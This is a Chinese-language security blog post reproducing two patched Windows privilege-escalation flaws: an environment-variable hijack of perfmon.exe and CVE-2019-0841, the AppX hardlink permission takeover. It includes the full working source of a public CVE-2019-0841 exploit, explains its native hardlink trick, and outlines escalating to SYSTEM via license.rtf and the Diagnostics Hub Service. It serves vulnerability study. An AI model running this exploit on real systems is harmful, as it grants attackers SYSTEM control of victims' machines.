标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2783]   作者: 大猪 发表于: [2020-11-14]  [2020-11-14]被用户:大猪 修改过

本文共 [387] 位读者顶过

0x00

这次分享的是通过修改注册表键值来劫持环境变量和CVE-2019-0841复现后的总结,第一次接触,感觉挺有意思,所以必须记下来,有一些知识和本文主题无关,也有搬运的内容,但是我还是要写一下,因为也很有意思。如有错误,还请指出。

关于环境变量,百度介绍的非常好:环境变量是在操作系统中一个具有特定名字的对象,它包含了一个或者多个应用程序所将使用到的信息。例如Windows和DOS操作系统中的path环境变量,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到path中指定的路径去找。用户通过设置环境变量,来更好的运行进程。

系统变量对电脑所有用户都有效,而用户变量仅针对当前电脑登录的用户有效,这些变量其实两边都有一个百分号,打开一个变量值即可打开变量对应的目录,如下图所示

在这里插入图片描述Winodws系统内置了一些环境变量值和对应功能[出自:jiwo.org]
在这里插入图片描述这些系统变量有着自己权限,某些可读,某些可读可写
在这里插入图片描述在这里插入图片描述

一种利用环境变量进行路径拦截的方式,虽然这和主题无关:
环境变量包含目录列表,这些目录列表代表某些执行程序的方法(即使用cmd.exe或命令行)仅依赖PATH环境变量来确定未提供程序路径时搜索程序的位置。如果这些程序在环境变量%SystemRoot%\system32(C:\Windows\system32)之前的环境变量中列出了任何目录,则可以在前面的目录中放置一个与Windows程序相同的程序(例如cmd,PowerShell或Python),该程序从脚本或命令行执行该命令时,将执行该命令。

这些环境变量都存储在注册表中:
用户变量:HKEY_CURRENT_USER \ Environment
系统变量:HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \ Environment

而关于注册表,大家都觉得它其实是一个数据库,好吧,我选择加入。 您可以自己编辑注册表以启用隐藏功能并调整特定选项。这些调整通常称为“注册表黑客”
同时,注册表也是一个反映内存中易失数据的窗口,比如系统的当前硬件状态(哪些设备驱动程序已经加载,它们用到了哪些资源,等等)以及Windows的性能计数器。
虽然许多Windows用户和管理员从来不需要直接查看注册表(因为你可以通过标准的管理工具来查看或者改变大多数配置设置),但是,注册表仍然是一个非常有用的Windows内部信息来源,因为它包含了许多会影响系统性能和行为的设置。
请不要轻易修改它,除非您知道您在做什么。
注册表文件保存位置:
C:\Windows\System32\Config

用户环境变量在注册表的位置:
HKEY_CURRENT_USER\Volatile Environment
在这里插入图片描述

系统环境变量在注册表的位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
在这里插入图片描述

其他更多相关参考:https://docs.microsoft.com/zh-cn/windows/win32/sysinfo/registry-hives?redirectedfrom=MSDN

环境变量劫持

这次实验我将以下处网址代码作为例子
https://github.com/bytecode77/performance-monitor-privilege-escalation
这是一个Win10的perfmon.exe(性能监视器)劫持漏洞,当perfmon.exe启动时,也会启动%SystemRoot\System32%\mmc.exe。
漏洞就是创建mmc.exe的的时候引用的环境变量为%SystemRoot%,我们可以用通过修改注册表 HKEY_CURRENT_USER\Volatile Environment新建一个SYSTEMROOT,用来覆盖%SystemRoot%环境变量,然后在将改值的目录修改我们自己创建好的目录,接着在我们的目录下创建\System32\mmc.exe为来进行DLL劫持
利用关键代码如下

 

奇怪的该漏洞没有CVE编号,但在RS3得到了修补。
下面我将对ShellExecuteExW交叉引用定位漏洞成因,如下图所示

在这里插入图片描述有意思的是这里也是引用%SystemRoot%环境变量,继续双击%SystemRoot%\Sysnative\perfmon.exe 在下面找到创建mmc.exe程序的环境变量路径
在这里插入图片描述接着引用到漏洞点
在这里插入图片描述
我不知道该变量为何能被修改,我在补丁后的1703下反汇编perfmon.exe查看该变量值同样也是该值,但却无法被劫持了。

接下来先尝试在管理员用户上运行该exp,运行后,弹出了性能监视器和一个弹框,效果如下所示。

在这里插入图片描述

在这里插入图片描述而在非管理员用户上运行,却没有成功劫持到DLL弹出弹框。原因是即使覆盖了环境变量,也没有权限在C:\Winodws\system\创建文件,所以没有办法来劫持exe。这样看来作用实在有限,不过作者的思路非常独特,值得学习。
下面我将简单分析一下CVE-2019-0841,采取环境为Win10 1709x64

CVE-2019-0841

描述
AppX Deployment Service 服务主要用于安装、部署和更新 Windows Store 应用商店中的程序,是部署应用商店应用程序的基础结构,该名称主要由 Windows 通用应用程序平台(UWP)的程序分发包为 .AppX 而得名。
Windows AppX部署服务(appxdeploymentserver.dll)在不正确地处理硬链接时,存在特权提升漏洞。攻击者可利用精心构造好的程序获得管理员权限。
该服务有着SYSTEM权限。
在这里插入图片描述

该服务由svchost.exe创建。
Windows使用 svchost.exe 将需要访问相同DLL的服务分组在一起,以便它们可以在一个进程中运行,从而有助于减少他们对系统资源的需求。
由于Windows 对许多任务使用服务进程,因此在任务管理器中通常可以看到svchost.exe 的使用量增加。您还将看到 svchost.exe 的许多不同的实例在任务管理器中运行,因为 Windows 将类似的服务(如网络相关服务)一起组在一起。
在这里插入图片描述

硬链接
在分析此漏洞之前,我先介绍下硬链接和它的一些特性,硬链接被Windows 2000 及以上系统使用。它是一种文件的备份,只能链接到文件而不能链接到目录,创建链接到目标文件时,需要和目标文件在同一目录下。在删除目标文件后,硬链接依然有效,对硬链接权限修改时同样会影响到目标文件,目标文件权限被修改时也同样会影响到硬链接。同样的,修改文件内容和硬链接内容都会影响到对方。

再看看Win2000下的 CreateHardlink实现
硬链接不允许绝对路径名相同,目标文件不存在以及不允许和远程共享名相同
在这里插入图片描述

硬链接只能创建对本分区文件的引用,即不可创建跨分区的文件硬链接;

在这里插入图片描述

连接到目标文件时这里请求方式是DELETE的权限,也就是说需要对目标文件有着删除的权限才可创建成功。
在这里插入图片描述

settings.dat文件
Windows Store应用程序中的所有应用程序数据保存到Local\Packages用户的AppData文件夹中(通常是C:\Users\Username\AppData)。
应用程序设置存储在中C:\Users\AppData\Local\Packages\Settings\settings.dat。settings.dat是Windows NT注册表文件(REGF),包括本地和漫游设置。注册表编辑器支持这种文件格式REGF,也称为注册表配置单元文件。在当前普通用户下也有对该文件有着完全控制权。

在这里插入图片描述

漏洞成因
根据网上的文章和博客总结了一下:
Windows启动一个应用程序会验证该程序的settings.dat文件权限和内容是否正确,如果不正确,会重新配置内容和权限(至少让您能够访问),当设置应用程序配置的settings.dat为当前用户无权限访问的文件的硬链接时,settings.dat权限会被SYSTEM修改成SYSTEM,而链接的目标文件权限也会随之被修改,也就是说可以利用此漏洞获取任意文件权限。

由此可得知,漏洞利用的主要成功点在于设置了目标文件硬链接和AppX Deployment Service 服务的这一特性

当我通过命令行命令mklink /H生成当前用户来说没有完全控制权的硬链接时,会弹出提示对目标无法拒绝访问。
在这里插入图片描述
那么问题来了,EXP是如何设置硬链接的?
下载EXP:https://github.com/rogue-kdc/CVE-2019-0841
主要内容如下

// ACLtakeoverLPE.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "CommonUtils.h" #include "ntimports.h" #include "typed_buffer.h" #include  #include  #include "winbase.h" #include  #include  #include  #include  #include  #include  #include  #include  #include "base64.h" #include  #include  #include "resource2.h" #pragma comment(lib, "advapi32.lib") #ifndef UNICODE  typedef std::string String; #else typedef std::wstring String; #endif bool CheckFilePermissions(_TCHAR* target) { _tprintf(_T("[+] Checking File privileges of %s\n"), target); FILE *fp = _wfopen(target, TEXT("a")); if (fp == NULL) { if (errno == EACCES) { std::cerr << "[+] You don't have 'Modify/Write' privileges on this file ..." << std::endl; return false; } else { std::cerr << "[+] Something went wrong: " << strerror(errno) << std::endl; return false; } } else { printf("[+] You have 'Full Control' over this file!\n"); return true; } } bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname) { std::wstring full_linkname = BuildFullPath(linkname, true); size_t len = full_linkname.size() * sizeof(WCHAR); typed_buffer_ptr<FILE_LINK_INFORMATION> link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR)); memcpy(&link_info->FileName[0], full_linkname.c_str(), len); link_info->ReplaceIfExists = TRUE; link_info->FileNameLength = len; std::wstring full_targetname = BuildFullPath(targetname, true); HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0); if (hFile) { DEFINE_NTDLL(ZwSetInformationFile); IO_STATUS_BLOCK io_status = { 0 }; NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation); CloseHandle(hFile); if (NT_SUCCESS(status)) { return true; } SetNtLastError(status); } return false; } bool IsProcessRunning(const wchar_t* processName) { bool exists = false; PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(snapshot, &entry)) while (Process32Next(snapshot, &entry)) { if (!wcsicmp(entry.szExeFile, processName)) exists = true; } CloseHandle(snapshot); return exists; } void killProcessByName(const wchar_t* filename) { HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); PROCESSENTRY32 pEntry; pEntry.dwSize = sizeof(pEntry); BOOL hRes = Process32First(hSnapShot, &pEntry); while (hRes) { if (wcscmp(pEntry.szExeFile, filename) == 0) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD)pEntry.th32ProcessID); if (hProcess != NULL) { TerminateProcess(hProcess, 9); CloseHandle(hProcess); } } hRes = Process32Next(hSnapShot, &pEntry); } CloseHandle(hSnapShot); } bool FileExists(const wchar_t* file) { if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(file) && GetLastError() == ERROR_FILE_NOT_FOUND) { return false; } else { return true; } } bool CreateHardlink(_TCHAR* src, _TCHAR* dst) { if (CreateNativeHardlink(src, dst)) { //printf("[+] Done!\n"); return true; } else { printf("Error creating hardlink: %ls\n", GetErrorMessage().c_str()); return false; } } void killEdge() { if (IsProcessRunning(L"MicrosoftEdge.exe")) { while (IsProcessRunning(L"MicrosoftEdge.exe")) { printf("[!] Microsoft Edge is running :(\n"); printf("[!] File is in use by NT AUTHORITY\\SYSTEM ...\n"); printf("[!] Killing Microsoft Edge ... "); killProcessByName(L"MicrosoftEdge.exe"); printf("DONE\n"); printf("[+] Retrying ...\n"); } } else { printf("[+] Microsoft Edge is not running :)\n"); } } void gimmeroot(_TCHAR* targetpath, bool hijack) { wchar_t *userprofile = _wgetenv(L"USERPROFILE"); wchar_t *relpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\settings.dat"); //MS Edge Settings file location std::wstring fullpath(userprofile); fullpath += std::wstring(relpath); TCHAR * szBuffsrc = (wchar_t *)fullpath.c_str(); //MS Edge Settings file if (CheckFilePermissions(targetpath)) { exit(EXIT_FAILURE); } killEdge(); printf("[+] Checking if 'settings.dat' file exists ... "); if (FileExists(szBuffsrc)) { printf("YES\n"); printf("[!] Attempting to create a hardlink to target ... "); if (CreateHardlink(szBuffsrc, targetpath)) { printf("DONE\n"); } Sleep(3000); printf("[+] Starting up Microsoft Edge to force reset ...\n"); try { system("start microsoft-edge:"); } catch (...) { } Sleep(3000); printf("[!] Killing Microsoft Edge again ... \n"); killProcessByName(L"MicrosoftEdge.exe"); _tprintf(_T("[+] Checking File privileges again ...\n")); if (!CheckFilePermissions(targetpath)) { printf("[!] File Takeover Failed! \n"); printf("[!] File might be in use by another process or NT AUTHORITY\\SYSTEM does not have 'Full Control' permissions on the file! \n"); printf("[!] Try another file ... \n"); } } } int _tmain(int argc, _TCHAR* argv[]) { if (argc < 2) { printf("# Privileged DACL Overwrite EoP\n"); printf("# CVE: CVE-2019-0841\n"); printf("# Exploit Author: Nabeel Ahmed (@rogue_kdc)\n"); printf("# Tested on: Microsoft Windows 10 x32 & x64\n"); printf("# Category: Local\n"); printf("-------------------------------------------------\n"); printf("[+] Usage: exploit.exe\n"); printf("[+] (E.g., exploit.exe C:\\Windows\\win.ini\n"); printf("-------------------------------------------------\n"); } else { try { if (argc < 3) { printf("# Privileged DACL Overwrite EoP\n"); printf("# CVE: CVE-2019-0841\n"); printf("# Exploit Author: Nabeel Ahmed (@rogue_kdc)\n"); printf("# Tested on: Microsoft Windows 10 x32 & x64\n"); printf("# Category: Local\n"); printf("-------------------------------------------------\n"); printf("\n"); printf("\n"); gimmeroot(argv[1],false); } } catch (...) { } } exit(0); } 

总结流程:

在这里插入图片描述

在EXP里,CreateHardlink不是Win api CreateHardlink而是自己实现CreateHardlink

HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0); if (hFile) { DEFINE_NTDLL(ZwSetInformationFile); IO_STATUS_BLOCK io_status = { 0 }; NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation); CloseHandle(hFile); if (NT_SUCCESS(status)) { return true; } SetNtLastError(status); } 

hfile是目标文件句柄,FileLinkInformation代表设置类型是硬链接。

link_info是一个_FILE_LINK_INFORMATION 结构,

typedef struct _FILE_LINK_INFORMATION { BOOLEAN ReplaceIfExists;//设置为TRUE以指定如果链接已存在,则应用新链接替换该链接。如果链接创建操作应失败(如果链接已存在),则设置为FALSE。 HANDLE  RootDirectory;//如果要在链接到的文件相同的目录中创建链接,或者FileName 成员包含要创建的链接的完整路径名,则为NULL。否则,它是要在其中创建链接的目录的句柄。 ULONG   FileNameLength;//settings.dat文件字符串的长度 WCHAR   FileName[1];//要分配给新创建的链接的名称的第一个字符。这在内存中跟随字符串的其余部分。如果Root Directoryory成员是 NULL,并且链接将在与要链接到的文件不同的目录中创建,则此成员指定要创建的链接的完整路径名。否则,它只指定文件名。 } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; 

而设置硬链接能够成功是因为在调用ZwSetInformationFile之前调用NtOpenFile时成功获得了目标文件句柄,那么,他是怎么能获得到文件句柄呢?
在这里插入图片描述

NTSTATUS NtOpenFile( PHANDLE            FileHandle, ACCESS_MASK        DesiredAccess,// POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK   IoStatusBlock, ULONG              ShareAccess, ULONG              OpenOptions ); 

其中参数二DesiredAccess 代表了其他对象访问该硬链接对象权限
在这里插入图片描述

原生CreateHardlink使用是对文件有着删除的权限就能打开,也许exp是使用的是只要能访问你就行。
不过exp这种创建硬链接的方式在19h2失去作用了,如果对目标文件没有写入权限则无法创建硬链接。

在分析此漏洞时使用Process Monitor来工具来这种权限相关的的漏洞犹如Windows上的调试神器Windbg,配合过滤器行为一目了然,举例:捕捉所有对settings.dat的操作行为,并只包含一些感兴趣的内容。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

光行为分析满足不了我,我想看看函数调用和逻辑是怎样的。我决定去分析下appxdeploymentserver.dll

在这里插入图片描述

在这里插入图片描述

中途当我准备.reload /f下载该文件符号对appxdeploymentserver.dll 静态分析时,发现微软并没有提供该文件符号…

在这里插入图片描述
之后我对dll引用文件相关的API处全部下了断点:SetSecurityDescriptorDacl,CreateFile,SetSecurityInfo,GetSecurityInfo等

令人不爽的是运行EXP成功获取到文件权限后(C:\Windows下有一大堆.log文件,它们被SYSYTEM完全控制并且可以继承,但是普通用户组没有权限),windbg没有断在希望断在的地方,故因为时间和其他因素选择放弃。

中间还有有一些奇怪的事情,运行EXP获取到很多文件的权限后(在C盘windows下面,有很多合适的.log文件),Windows偷偷把我的edge给抹去了。

言归正传,现在我们有了覆盖一个文件权限原语(该文件必须存在),那么我们该获取哪个文件的权限实现代码执行,或者说DLL劫持?

漏洞利用

按照https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html的演示

利用步骤:
1:触发漏洞获取license.rtf文件权限
2:将准备好的dll内容写入到license.rtf(如果dll文件比license.rtf大,需要进行压缩)
3:Diagnostics Hub Service加载license.rtf提权

‪在C:\Windows\System32下,存在着一个许可证文件,它的名字叫做license.rtf,它满足漏洞利用的条件(权限可被继承,覆盖不会引起系统崩溃。system有着完全控制权,但普通用户没有),所以有了步骤1

Diagnostics Hub Service(诊断中心服务)中,他允许从C:\Winodws\system32下加载任意后缀的文件,所以有了步骤3

dll在这里:https://github.com/decoder-it/diaghub_exploit

该利用机制在19h1后得到修补。

参考
https://www.baidu.com/link?url=xjFRYlSepMsX8FU9X85EjKABNXsqB0Uq0PGVgoUB0ZV2iFv3LWt6uoTyTwvG00ETLaTsSDpQ4u779EG5ixuqNq&wd=&eqid=e41924a00011084b000000065faab262

参考
https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/

参考

https://troopers.de/downloads/troopers19/TROOPERS19_AD_Abusing_privileged_file_operations.pdf


评论

暂无
发表评论
 返回顶部 
热度(387)
 关注微信